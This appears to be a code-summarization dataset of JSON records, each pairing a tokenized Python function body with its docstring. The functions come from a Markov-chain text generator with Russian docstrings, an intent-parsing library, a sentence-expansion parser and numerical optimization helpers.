{"signature": "def chain_generator(self):", "body": "n_chain = self.chain_order<EOL>if n_chain < <NUM_LIT:1>:<EOL><INDENT>raise MarkovTextExcept(<EOL>\"<STR_LIT>\".format(n_chain)<EOL>)<EOL><DEDENT>n_chain += <NUM_LIT:1>  <EOL>changing_array = deque(maxlen=n_chain)<EOL>for token in self.tokens_array:<EOL><INDENT>changing_array.append(token)<EOL>if len(changing_array) < n_chain:<EOL><INDENT>continue  <EOL><DEDENT>yield (tuple(changing_array)[:-<NUM_LIT:1>], changing_array[-<NUM_LIT:1>])<EOL><DEDENT>", "docstring": "\u0412\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440, \u0444\u043e\u0440\u043c\u0430\u0442\u0430:\n    ((\"\u0442\u043e\u043a\u0435\u043d\", ...), \"\u0432\u0430\u0440\u0438\u0430\u043d\u0442\")\n    \u0413\u0434\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0442\u043e\u043a\u0435\u043d\u043e\u0432 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u043e\u0431\u044a\u0435\u043a\u0442\u0430 chain_order.", "id": "f9726:c1:m9"}
{"signature": "def set_vocabulary(self, peer_id, from_dialogue=None, update=False):", "body": "self.tokens_array = self.get_vocabulary(<EOL>peer_id,<EOL>from_dialogue,<EOL>update<EOL>)<EOL>self.create_base()<EOL>", "docstring": "\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0432\u043e\u043a\u0430\u0431\u0443\u043b\u0430\u0440 \u0438\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 get_vocabulary \u0438 \u0434\u0435\u043b\u0430\u0435\u0442 \u0435\u0433\u043e \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u043c.", "id": "f9726:c1:m10"}
{"signature": "def create_dump(self, name=None):", "body": "name = name or \"<STR_LIT>\"<EOL>backup_dump_file = os_join(<EOL>self.temp_folder,<EOL>\"<STR_LIT>\".format(name)<EOL>)<EOL>dump_file = os_join(<EOL>self.temp_folder,<EOL>\"<STR_LIT>\".format(name)<EOL>)<EOL>with open(backup_dump_file, \"<STR_LIT:w>\", encoding=\"<STR_LIT:utf-8>\") as js_file:<EOL><INDENT>json.dump(self.tokens_array, js_file, ensure_ascii=False)<EOL><DEDENT>copy2(backup_dump_file, dump_file)<EOL>remove(backup_dump_file)<EOL>", "docstring": "\u0421\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442 \u0442\u0435\u043a\u0443\u0449\u0443\u044e \u0431\u0430\u0437\u0443 \u043d\u0430 \u0436\u0451\u0441\u0442\u043a\u0438\u0439 \u0434\u0438\u0441\u043a.\n:name: \u0418\u043c\u044f \u0444\u0430\u0439\u043b\u0430, \u0431\u0435\u0437 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f.", "id": "f9726:c1:m11"}
{"signature": "def load_dump(self, name=None):", "body": "name = name or \"<STR_LIT>\"<EOL>dump_file = os_join(<EOL>self.temp_folder,<EOL>\"<STR_LIT>\".format(name)<EOL>)<EOL>if not isfile(dump_file):<EOL><INDENT>raise MarkovTextExcept(\"<STR_LIT>\".format(dump_file))<EOL><DEDENT>with open(dump_file, \"<STR_LIT:rb>\") as js_file:<EOL><INDENT>self.tokens_array = tuple(json.load(js_file))<EOL><DEDENT>self.create_base()<EOL>", "docstring": "\u0417\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0431\u0430\u0437\u0443 \u0441 \u0436\u0451\u0441\u0442\u043a\u043e\u0433\u043e \u0434\u0438\u0441\u043a\u0430.\n\u0422\u0435\u043a\u0443\u0449\u0430\u044f \u0431\u0430\u0437\u0430 \u0437\u0430\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f.\n:name: \u0418\u043c\u044f \u0444\u0430\u0439\u043b\u0430, \u0431\u0435\u0437 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f.", "id": "f9726:c1:m12"}
{"signature": "def get_vocabulary(self, target, user=None, update=False):", "body": "if not self.vk_object:<EOL><INDENT>raise MarkovTextExcept(\"<STR_LIT>\")<EOL><DEDENT>json_name = \"<STR_LIT>\".format(<EOL>target.__class__.__name__,<EOL>target.id,<EOL>user.id<EOL>)<EOL>json_file = os_join(self.temp_folder, \"<STR_LIT>\".format(json_name))<EOL>if not update:<EOL><INDENT>result = self.vocabulars.get(json_name, None)<EOL>if result:<EOL><INDENT>return result<EOL><DEDENT>elif isfile(json_file):<EOL><INDENT>with open(json_file, \"<STR_LIT:rb>\") as js_file:<EOL><INDENT>result = self.vocabulars[json_name] = tuple(<EOL>json.load(js_file)<EOL>)<EOL><DEDENT>return result<EOL><DEDENT><DEDENT>_tokens_array = tuple(self.__parse_from_vk_dialogue(target, user))<EOL>backup_file = \"<STR_LIT>\".format(splitext(json_file)[<NUM_LIT:0>])<EOL>with open(backup_file, \"<STR_LIT:w>\", encoding=\"<STR_LIT:utf-8>\") as js_file:<EOL><INDENT>json.dump(_tokens_array, js_file, ensure_ascii=False)<EOL><DEDENT>copy2(backup_file, json_file)<EOL>remove(backup_file)<EOL>self.vocabulars[json_name] = _tokens_array<EOL>return _tokens_array<EOL>", "docstring": "\u0412\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0437\u0430\u043f\u0430\u0441 \u0441\u043b\u043e\u0432, \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043e\u043a \u0412\u041a.\n\u0414\u043b\u044f \u0438\u043c\u0438\u0442\u0430\u0446\u0438\u0438 \u0440\u0435\u0447\u0438 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430.\n\u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0441 \u0438\u043c\u043f\u043e\u0440\u0442\u043e\u043c \u043e\u0431\u044a\u0435\u043a\u0442\u0430 \"\u0412\u043b\u0430\u0434\u044f-\u0431\u043e\u0442\u0430\".\n\n:target:\n    \u041e\u0431\u044a\u0435\u043a\u0442 \u0441\u043e\u0431\u0441\u0435\u0434\u043d\u0438\u043a\u0430. \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0438.\n:user:\n    \u041e\u0431\u044a\u0435\u043a\u0442 \u044e\u0437\u0435\u0440\u0430, \u0447\u044c\u044e \u0440\u0435\u0447\u044c \u0438\u043c\u0438\u0442\u0438\u0440\u0443\u0435\u043c.\n    \u0415\u0441\u043b\u0438 None, \u0442\u043e \u0432\u0441\u044f \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0430.\n:update:\n    \u041d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0431\u044d\u043a\u0430\u043f. \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0444\u043e\u0440\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e.", "id": "f9726:c1:m13"}
{"signature": "def update(self, data, fromfile=True):", "body": "func = (self._parse_from_file if fromfile else self._parse_from_text)<EOL>new_data = tuple(func(data))<EOL>if new_data:<EOL><INDENT>self.tokens_array += new_data<EOL>self.create_base()<EOL><DEDENT>", "docstring": "\u041f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0442\u0435\u043a\u0441\u0442, \u0438\u043b\u0438 \u043f\u0443\u0442\u044c \u043a \u0444\u0430\u0439\u043b\u0443 \u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0435\u0442 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0443\u044e \u0431\u0430\u0437\u0443.", "id": "f9726:c1:m14"}
{"signature": "def _parse_from_text(self, text):", "body": "if not isinstance(text, str):<EOL><INDENT>raise MarkovTextExcept(\"<STR_LIT>\")<EOL><DEDENT>text = text.strip().lower()<EOL>need_start_token = True<EOL>token = \"<STR_LIT:$>\"  <EOL>for token in self.WORD_OR_MARKS.finditer(text):<EOL><INDENT>token = token.group()<EOL>if need_start_token:<EOL><INDENT>need_start_token = False<EOL>yield \"<STR_LIT>\"<EOL><DEDENT>yield token<EOL>if self.END_TOKENS.search(token):<EOL><INDENT>need_start_token = True<EOL>yield \"<STR_LIT:$>\"<EOL><DEDENT><DEDENT>if token != \"<STR_LIT:$>\":<EOL><INDENT>yield \"<STR_LIT:$>\"<EOL><DEDENT>", "docstring": "\u0412\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440 \u0442\u043e\u043a\u0435\u043d\u043e\u0432, \u0438\u0437 \u0442\u0435\u043a\u0441\u0442\u0430.", "id": "f9726:c1:m16"}
{"signature": "def _parse_from_file(self, file_path):", "body": "file_path = abspath(file_path)<EOL>if not isfile(file_path):<EOL><INDENT>raise MarkovTextExcept(\"<STR_LIT>\")<EOL><DEDENT>with open(file_path, \"<STR_LIT:rb>\") as txt_file:<EOL><INDENT>for line in txt_file:<EOL><INDENT>text = line.decode(\"<STR_LIT:utf-8>\", \"<STR_LIT:ignore>\").strip()<EOL>if not text:<EOL><INDENT>continue<EOL><DEDENT>yield from self._parse_from_text(text)<EOL><DEDENT><DEDENT>", "docstring": "\u0441\u043c. \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 _parse_from_text.\n\u0422\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0432\u0445\u043e\u0434 \u043f\u043e\u0434\u0430\u0451\u0442\u0441\u044f \u043d\u0435 \u0442\u0435\u043a\u0441\u0442, \u0430 \u043f\u0443\u0442\u044c \u043a \u0444\u0430\u0439\u043b\u0443.", "id": "f9726:c1:m17"}
{"signature": "def lines_hash(lines):", "body": "x = xxh32()<EOL>for i in lines:<EOL><INDENT>x.update(i.encode())<EOL><DEDENT>return x.digest()<EOL>", "docstring": "Creates a unique binary id for the given lines\nArgs:\n    lines (list<str>): List of strings that should be collectively hashed\nReturns:\n    bytearray: Binary hash", "id": "f9728:m0"}
{"signature": "def tokenize(sentence):", "body": "tokens = []<EOL>class Vars:<EOL><INDENT>start_pos = -<NUM_LIT:1><EOL>last_type = '<STR_LIT:o>'<EOL><DEDENT>def update(c, i):<EOL><INDENT>if c.isalpha() or c in '<STR_LIT>':<EOL><INDENT>t = '<STR_LIT:a>'<EOL><DEDENT>elif c.isdigit() or c == '<STR_LIT:#>':<EOL><INDENT>t = '<STR_LIT:n>'<EOL><DEDENT>elif c.isspace():<EOL><INDENT>t = '<STR_LIT:s>'<EOL><DEDENT>else:<EOL><INDENT>t = '<STR_LIT:o>'<EOL><DEDENT>if t != Vars.last_type or t == '<STR_LIT:o>':<EOL><INDENT>if Vars.start_pos >= <NUM_LIT:0>:<EOL><INDENT>token = sentence[Vars.start_pos:i].lower()<EOL>if token not in '<STR_LIT>':<EOL><INDENT>tokens.append(token)<EOL><DEDENT><DEDENT>Vars.start_pos = -<NUM_LIT:1> if t == '<STR_LIT:s>' else i<EOL><DEDENT>Vars.last_type = t<EOL><DEDENT>for i, char in enumerate(sentence):<EOL><INDENT>update(char, i)<EOL><DEDENT>update('<STR_LIT:U+0020>', len(sentence))<EOL>return tokens<EOL>", "docstring": "Converts a single sentence into a list of individual significant units\nArgs:\n    sentence (str): Input string ie. 'This is a sentence.'\nReturns:\n    list<str>: List of tokens ie. ['this', 'is', 'a', 'sentence']", "id": "f9728:m1"}
{"signature": "def expand_parentheses(sent):", "body": "return SentenceTreeParser(sent).expand_parentheses()<EOL>", "docstring": "['1', '(', '2', '|', '3, ')'] -> [['1', '2'], ['1', '3']]\nFor example:\n\nWill it (rain|pour) (today|tomorrow|)?\n\n---->\n\nWill it rain today?\nWill it rain tomorrow?\nWill it rain?\nWill it pour today?\nWill it pour tomorrow?\nWill it pour?\n\nArgs:\n    sent (list<str>): List of tokens in sentence\nReturns:\n    list<list<str>>: Multiple possible sentences from original", "id": "f9728:m2"}
{"signature": "def resolve_conflicts(inputs, outputs):", "body": "data = {}<EOL>for inp, out in zip(inputs, outputs):<EOL><INDENT>tup = tuple(inp)<EOL>if tup in data:<EOL><INDENT>data[tup].append(out)<EOL><DEDENT>else:<EOL><INDENT>data[tup] = [out]<EOL><DEDENT><DEDENT>inputs, outputs = [], []<EOL>for inp, outs in data.items():<EOL><INDENT>inputs.append(list(inp))<EOL>combined = [<NUM_LIT:0>] * len(outs[<NUM_LIT:0>])<EOL>for i in range(len(combined)):<EOL><INDENT>combined[i] = max(j[i] for j in outs)<EOL><DEDENT>outputs.append(combined)<EOL><DEDENT>return inputs, outputs<EOL>", "docstring": "Checks for duplicate inputs and if there are any,\nremove one and set the output to the max of the two outputs\nArgs:\n    inputs (list<list<float>>): Array of input vectors\n    outputs (list<list<float>>): Array of output vectors\nReturns:\n    tuple<inputs, outputs>: The modified inputs and outputs", "id": "f9728:m4"}
{"signature": "@staticmethod<EOL><INDENT>def wrap_name(name):<DEDENT>", "body": "if '<STR_LIT::>' in name:<EOL><INDENT>parts = name.split('<STR_LIT::>')<EOL>intent_name, ent_name = parts[<NUM_LIT:0>], parts[<NUM_LIT:1>:]<EOL>return intent_name + '<STR_LIT>' + '<STR_LIT::>'.join(ent_name) + '<STR_LIT:}>'<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT:{>' + name + '<STR_LIT:}>'<EOL><DEDENT>", "docstring": "Wraps SkillName:entity into SkillName:{entity}", "id": "f9731:c0:m2"}
{"signature": "def __init__(self, tree):", "body": "self._tree = tree<EOL>", "docstring": "Construct a sentence tree fragment which is merely a wrapper for\na list of Strings\n\nArgs:\n    tree (?): Base tree for the sentence fragment, type depends on\n                subclass, refer to those subclasses", "id": "f9733:c0:m0"}
{"signature": "def tree(self):", "body": "return self._tree<EOL>", "docstring": "Return the represented sentence tree as raw data.", "id": "f9733:c0:m1"}
{"signature": "def expand(self):", "body": "return [[]]<EOL>", "docstring": "Expanded version of the fragment. In this case an empty sentence.\n\nReturns:\n    List<List<str>>: A list with an empty sentence (= token/string list)", "id": "f9733:c0:m2"}
{"signature": "def expand(self):", "body": "return [[self._tree]]<EOL>", "docstring": "Creates one sentence that contains exactly that word.\n\nReturns:\n    List<List<str>>: A list with the given string as sentence\n                        (= token/string list)", "id": "f9733:c1:m0"}
{"signature": "def expand(self):", "body": "old_expanded = [[]]<EOL>for sub in self._tree:<EOL><INDENT>sub_expanded = sub.expand()<EOL>new_expanded = []<EOL>while len(old_expanded) > <NUM_LIT:0>:<EOL><INDENT>sentence = old_expanded.pop()<EOL>for new in sub_expanded:<EOL><INDENT>new_expanded.append(sentence + new)<EOL><DEDENT><DEDENT>old_expanded = new_expanded<EOL><DEDENT>return old_expanded<EOL>", "docstring": "Creates a combination of all sub-sentences.\n\nReturns:\n    List<List<str>>: A list with all subsentence expansions combined in\n                        every possible way", "id": "f9733:c2:m0"}
{"signature": "def expand(self):", "body": "options = []<EOL>for option in self._tree:<EOL><INDENT>options.extend(option.expand())<EOL><DEDENT>return options<EOL>", "docstring": "Returns all of its options as seperated sub-sentences.\n\nReturns:\n    List<List<str>>: A list containing the sentences created by all\n                        expansions of its sub-sentences", "id": "f9733:c3:m0"}
{"signature": "def _parse(self):", "body": "self._current_position = <NUM_LIT:0><EOL>return self._parse_expr()<EOL>", "docstring": "Generate sentence token trees\n['1', '(', '2', '|', '3, ')'] -> ['1', ['2', '3']]", "id": "f9733:c4:m1"}
{"signature": "def _parse_expr(self):", "body": "<EOL>sentence_list = []<EOL>cur_sentence = []<EOL>sentence_list.append(Sentence(cur_sentence))<EOL>while self._current_position < len(self.tokens):<EOL><INDENT>cur = self.tokens[self._current_position]<EOL>self._current_position += <NUM_LIT:1><EOL>if cur == '<STR_LIT:(>':<EOL><INDENT>subexpr = self._parse_expr()<EOL>normal_brackets = False<EOL>if len(subexpr.tree()) == <NUM_LIT:1>:<EOL><INDENT>normal_brackets = True<EOL>cur_sentence.append(Word('<STR_LIT:(>'))<EOL><DEDENT>cur_sentence.append(subexpr)<EOL>if normal_brackets:<EOL><INDENT>cur_sentence.append(Word('<STR_LIT:)>'))<EOL><DEDENT><DEDENT>elif cur == '<STR_LIT:|>':<EOL><INDENT>cur_sentence = []<EOL>sentence_list.append(Sentence(cur_sentence))<EOL><DEDENT>elif cur == '<STR_LIT:)>':<EOL><INDENT>break<EOL><DEDENT>else:<EOL><INDENT>cur_sentence.append(Word(cur))<EOL><DEDENT><DEDENT>return Options(sentence_list)<EOL>", "docstring": "Generate sentence token trees from the current position to\nthe next closing parentheses / end of the list and return it\n['1', '(', '2', '|', '3, ')'] -> ['1', [['2'], ['3']]]\n['2', '|', '3'] -> [['2'], ['3']]", "id": "f9733:c4:m2"}
{"signature": "def _expand_tree(self, tree):", "body": "return tree.expand()<EOL>", "docstring": "Expand a list of sub sentences to all combinated sentences.\n['1', ['2', '3']] -> [['1', '2'], ['1', '3']]", "id": "f9733:c4:m3"}
{"signature": "@_save_args<EOL><INDENT>def add_intent(self, name, lines, reload_cache=False):<DEDENT>", "body": "self.intents.add(name, lines, reload_cache)<EOL>self.padaos.add_intent(name, lines)<EOL>self.must_train = True<EOL>", "docstring": "Creates a new intent, optionally checking the cache first\n\nArgs:\n    name (str): The associated name of the intent\n    lines (list<str>): All the sentences that should activate the intent\n    reload_cache: Whether to ignore cached intent if exists", "id": "f9734:c0:m2"}
{"signature": "@_save_args<EOL><INDENT>def add_entity(self, name, lines, reload_cache=False):<DEDENT>", "body": "Entity.verify_name(name)<EOL>self.entities.add(Entity.wrap_name(name), lines, reload_cache)<EOL>self.padaos.add_entity(name, lines)<EOL>self.must_train = True<EOL>", "docstring": "Adds an entity that matches the given lines.\n\nExample:\n    self.add_intent('weather', ['will it rain on {weekday}?'])\n    self.add_entity('{weekday}', ['monday', 'tuesday', 'wednesday'])  # ...\n\nArgs:\n    name (str): The name of the entity\n    lines (list<str>): Lines of example extracted entities\n    reload_cache (bool): Whether to refresh all of cache", "id": "f9734:c0:m3"}
{"signature": "@_save_args<EOL><INDENT>def load_entity(self, name, file_name, reload_cache=False):<DEDENT>", "body": "Entity.verify_name(name)<EOL>self.entities.load(Entity.wrap_name(name), file_name, reload_cache)<EOL>with open(file_name) as f:<EOL><INDENT>self.padaos.add_entity(name, f.read().split('<STR_LIT:\\n>'))<EOL><DEDENT>self.must_train = True<EOL>", "docstring": "Loads an entity, optionally checking the cache first\n\nArgs:\n    name (str): The associated name of the entity\n    file_name (str): The location of the entity file\n    reload_cache (bool): Whether to refresh all of cache", "id": "f9734:c0:m4"}
{"signature": "@_save_args<EOL><INDENT>def load_file(self, *args, **kwargs):<DEDENT>", "body": "self.load_intent(*args, **kwargs)<EOL>", "docstring": "Legacy. Use load_intent instead", "id": "f9734:c0:m5"}
{"signature": "@_save_args<EOL><INDENT>def load_intent(self, name, file_name, reload_cache=False):<DEDENT>", "body": "self.intents.load(name, file_name, reload_cache)<EOL>with open(file_name) as f:<EOL><INDENT>self.padaos.add_intent(name, f.read().split('<STR_LIT:\\n>'))<EOL><DEDENT>self.must_train = True<EOL>", "docstring": "Loads an intent, optionally checking the cache first\n\nArgs:\n    name (str): The associated name of the intent\n    file_name (str): The location of the intent file\n    reload_cache (bool): Whether to refresh all of cache", "id": "f9734:c0:m6"}
{"signature": "@_save_args<EOL><INDENT>def remove_intent(self, name):<DEDENT>", "body": "self.intents.remove(name)<EOL>self.padaos.remove_intent(name)<EOL>self.must_train = True<EOL>", "docstring": "Unload an intent", "id": "f9734:c0:m7"}
{"signature": "@_save_args<EOL><INDENT>def remove_entity(self, name):<DEDENT>", "body": "self.entities.remove(name)<EOL>self.padaos.remove_entity(name)<EOL>", "docstring": "Unload an entity", "id": "f9734:c0:m8"}
{"signature": "def train(self, debug=True, force=False, single_thread=False, timeout=<NUM_LIT:20>):", "body": "if not self.must_train and not force:<EOL><INDENT>return<EOL><DEDENT>self.padaos.compile()<EOL>self.train_thread = Thread(target=self._train, kwargs=dict(<EOL>debug=debug,<EOL>single_thread=single_thread,<EOL>timeout=timeout<EOL>), daemon=True)<EOL>self.train_thread.start()<EOL>self.train_thread.join(timeout)<EOL>self.must_train = False<EOL>return not self.train_thread.is_alive()<EOL>", "docstring": "Trains all the loaded intents that need to be updated\nIf a cache file exists with the same hash as the intent file,\nthe intent will not be trained and just loaded from file\n\nArgs:\n    debug (bool): Whether to print a message to stdout each time a new intent is trained\n    force (bool): Whether to force training if already finished\n    single_thread (bool): Whether to force running in a single thread\n    timeout (float): Seconds before cancelling training\nReturns:\n    bool: True if training succeeded without timeout", "id": "f9734:c0:m10"}
{"signature": "def train_subprocess(self, *args, **kwargs):", "body": "ret = call([<EOL>sys.executable, '<STR_LIT>', '<STR_LIT>', '<STR_LIT:train>', self.cache_dir,<EOL>'<STR_LIT>', json.dumps(self.serialized_args),<EOL>'<STR_LIT>', json.dumps(args),<EOL>'<STR_LIT>', json.dumps(kwargs),<EOL>])<EOL>if ret == <NUM_LIT:2>:<EOL><INDENT>raise TypeError('<STR_LIT>'.format(args, kwargs))<EOL><DEDENT>data = self.serialized_args<EOL>self.clear()<EOL>self.apply_training_args(data)<EOL>self.padaos.compile()<EOL>if ret == <NUM_LIT:0>:<EOL><INDENT>self.must_train = False<EOL>return True<EOL><DEDENT>elif ret == <NUM_LIT:10>:  <EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(ret))<EOL><DEDENT>", "docstring": "Trains in a subprocess which provides a timeout guarantees everything shuts down properly\n\nArgs:\n    See <train>\nReturns:\n    bool: True for success, False if timed out", "id": "f9734:c0:m11"}
{"signature": "def calc_intents(self, query):", "body": "if self.must_train:<EOL><INDENT>self.train()<EOL><DEDENT>intents = {} if self.train_thread and self.train_thread.is_alive() else {<EOL>i.name: i for i in self.intents.calc_intents(query, self.entities)<EOL>}<EOL>sent = tokenize(query)<EOL>for perfect_match in self.padaos.calc_intents(query):<EOL><INDENT>name = perfect_match['<STR_LIT:name>']<EOL>intents[name] = MatchData(name, sent, matches=perfect_match['<STR_LIT>'], conf=<NUM_LIT:1.0>)<EOL><DEDENT>return list(intents.values())<EOL>", "docstring": "Tests all the intents against the query and returns\ndata on how well each one matched against the query\n\nArgs:\n    query (str): Input sentence to test against intents\nReturns:\n    list<MatchData>: List of intent matches\nSee calc_intent() for a description of the returned MatchData", "id": "f9734:c0:m12"}
{"signature": "def calc_intent(self, query):", "body": "matches = self.calc_intents(query)<EOL>if len(matches) == <NUM_LIT:0>:<EOL><INDENT>return MatchData('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>best_match = max(matches, key=lambda x: x.conf)<EOL>best_matches = (match for match in matches if match.conf == best_match.conf)<EOL>return min(best_matches, key=lambda x: sum(map(len, x.matches.values())))<EOL>", "docstring": "Tests all the intents against the query and returns\nmatch data of the best intent\n\nArgs:\n    query (str): Input sentence to test against intents\nReturns:\n    MatchData: Best intent match", "id": "f9734:c0:m13"}
{"signature": "def _train_and_save(obj, cache, data, print_updates):", "body": "obj.train(data)<EOL>if print_updates:<EOL><INDENT>print('<STR_LIT>' + obj.name + '<STR_LIT:.>')<EOL><DEDENT>obj.save(cache)<EOL>", "docstring": "Internal pickleable function used to train objects in another process", "id": "f9740:m0"}
{"signature": "def randomseed(func):", "body": "def wrapper(*args, **kwargs):<EOL><INDENT>np.random.seed(<NUM_LIT>)<EOL>return func(*args, **kwargs)<EOL><DEDENT>return wrapper<EOL>", "docstring": "Sets the seed of numpy's random number generator", "id": "f9757:m0"}
{"signature": "def generate_sparse_system(n=<NUM_LIT:100>, m=<NUM_LIT:50>, p=<NUM_LIT:0.1>, eta=<NUM_LIT>, seed=<NUM_LIT>):", "body": "global x_true, x_obs, A<EOL>np.random.seed(seed)<EOL>x_true = <NUM_LIT:10> * np.random.randn(n) * (np.random.rand(n) < p)<EOL>A = np.random.randn(m, n)<EOL>y = A.dot(x_true)<EOL>xls = np.linalg.lstsq(A, y)[<NUM_LIT:0>]<EOL>ls_error = np.linalg.norm(xls - x_true, <NUM_LIT:2>)<EOL>return A, y, x_true, xls, ls_error<EOL>", "docstring": "Generate a sparse, noisy system (Ax = y)\n\n    Parameters\n    ----------\n    n : int\n        Number of variables\n\n    m : int\n        Number of observations\n\n    p : float\n        Probability of non-zero variable\n\n    eta : float\n        Noise level (standard deviation of additive Gaussian noise)\n\n    seed : int\n        Random seed\n\n    Returns\n    -------\n    A : array_like\n        Sensing matrix (m x n)\n\n    y : array_like\n        Observations (m,)\n\n    x_true : array_like\n        True sparse signal (n,)\n\n    xls : array_like\n        Least squares solution (n,)\n\n    ls_error : float\n        Error (2-norm) of the least squares solution", "id": "f9758:m0"}
{"signature": "def generate_lowrank_matrix(n=<NUM_LIT:10>, m=<NUM_LIT:20>, k=<NUM_LIT:3>, eta=<NUM_LIT>, seed=<NUM_LIT>):", "body": "print(\"<STR_LIT>\")<EOL>global Xtrue, Xobs<EOL>np.random.seed(seed)<EOL>Xtrue = np.sin(np.linspace(<NUM_LIT:0>, <NUM_LIT:2> * np.pi, n)).reshape(-<NUM_LIT:1>, <NUM_LIT:1>).dot(<EOL>np.cos(np.linspace(<NUM_LIT:0>, <NUM_LIT:2> * np.pi, m)).reshape(<NUM_LIT:1>, -<NUM_LIT:1>))<EOL>Xobs = Xtrue + eta * np.random.randn(n, m)<EOL>return Xobs, Xtrue<EOL>", "docstring": "Generate an n-by-m noisy low-rank matrix", "id": "f9760:m0"}
{"signature": "def gradient_optimizer(coro):", "body": "class GradientOptimizer(Optimizer):<EOL><INDENT>@wraps(coro)<EOL>def __init__(self, *args, **kwargs):<EOL><INDENT>self.algorithm = coro(*args, **kwargs)<EOL>self.algorithm.send(None)<EOL>self.operators = []<EOL><DEDENT>def set_transform(self, func):<EOL><INDENT>self.transform = compose(destruct, func, self.restruct)<EOL><DEDENT>def minimize(self, f_df, x0, display=sys.stdout, maxiter=<NUM_LIT>):<EOL><INDENT>self.display = display<EOL>self.theta = x0<EOL>xk = self.algorithm.send(destruct(x0).copy())<EOL>store = defaultdict(list)<EOL>runtimes = []<EOL>if len(self.operators) == <NUM_LIT:0>:<EOL><INDENT>self.operators = [proxops.identity()]<EOL><DEDENT>obj, grad = wrap(f_df, x0)<EOL>transform = compose(destruct, *reversed(self.operators), self.restruct)<EOL>self.optional_print(tp.header(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']))<EOL>try:<EOL><INDENT>for k in count():<EOL><INDENT>tstart = perf_counter()<EOL>f = obj(xk)<EOL>df = grad(xk)<EOL>xk = transform(self.algorithm.send(df))<EOL>runtimes.append(perf_counter() - tstart)<EOL>store['<STR_LIT:f>'].append(f)<EOL>self.optional_print(tp.row([k,<EOL>f,<EOL>np.linalg.norm(destruct(df)),<EOL>tp.humantime(runtimes[-<NUM_LIT:1>])]))<EOL>if k >= maxiter:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>except KeyboardInterrupt:<EOL><INDENT>pass<EOL><DEDENT>self.optional_print(tp.bottom(<NUM_LIT:4>))<EOL>self.optional_print(u'<STR_LIT>'.format(store['<STR_LIT:f>'][-<NUM_LIT:1>]))<EOL>self.optional_print(u'<STR_LIT>'.format(tp.humantime(sum(runtimes))))<EOL>self.optional_print(u'<STR_LIT>'.format(<EOL>tp.humantime(np.mean(runtimes)),<EOL>tp.humantime(np.std(runtimes)),<EOL>))<EOL>return OptimizeResult({<EOL>'<STR_LIT:x>': self.restruct(xk),<EOL>'<STR_LIT:f>': f,<EOL>'<STR_LIT>': self.restruct(df),<EOL>'<STR_LIT:k>': k,<EOL>'<STR_LIT>': np.array(store['<STR_LIT:f>']),<EOL>})<EOL><DEDENT><DEDENT>return GradientOptimizer<EOL>", "docstring": "Turns a coroutine into a gradient based optimizer.", "id": "f9764:m0"}
{"signature": "def add(self, operator, *args):", "body": "if isinstance(operator, str):<EOL><INDENT>op = getattr(proxops, operator)(*args)<EOL><DEDENT>elif isinstance(operator, proxops.ProximalOperatorBaseClass):<EOL><INDENT>op = operator<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self.operators.append(op)<EOL>return self<EOL>", "docstring": "Adds a proximal operator to the list of operators", "id": "f9764:c0:m2"}
{"signature": "def __init__(self, tau=(<NUM_LIT>, <NUM_LIT>, <NUM_LIT>), tol=(<NUM_LIT>, <NUM_LIT>)):", "body": "self.operators = []<EOL>self.tau = namedtuple('<STR_LIT>', ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'))(*tau)<EOL>self.tol = namedtuple('<STR_LIT>', ('<STR_LIT>', '<STR_LIT>'))(*tol)<EOL>", "docstring": "Proximal Consensus (ADMM)\n\nParameters\n----------\ntau : (float, float, float)\n    ADMM scheduling. The augmented Lagrangian quadratic penalty parameter,\n    rho, is initialized to tau[0]. Depending on the primal and dual residuals,\n    the parameter is increased by a factor of tau[1] or decreased by a factor\n    of tau[2] at every iteration. (See Boyd et. al. 2011 for details)\n\ntol : (float, float)\n    Primal and Dual residual tolerances", "id": "f9764:c1:m0"}
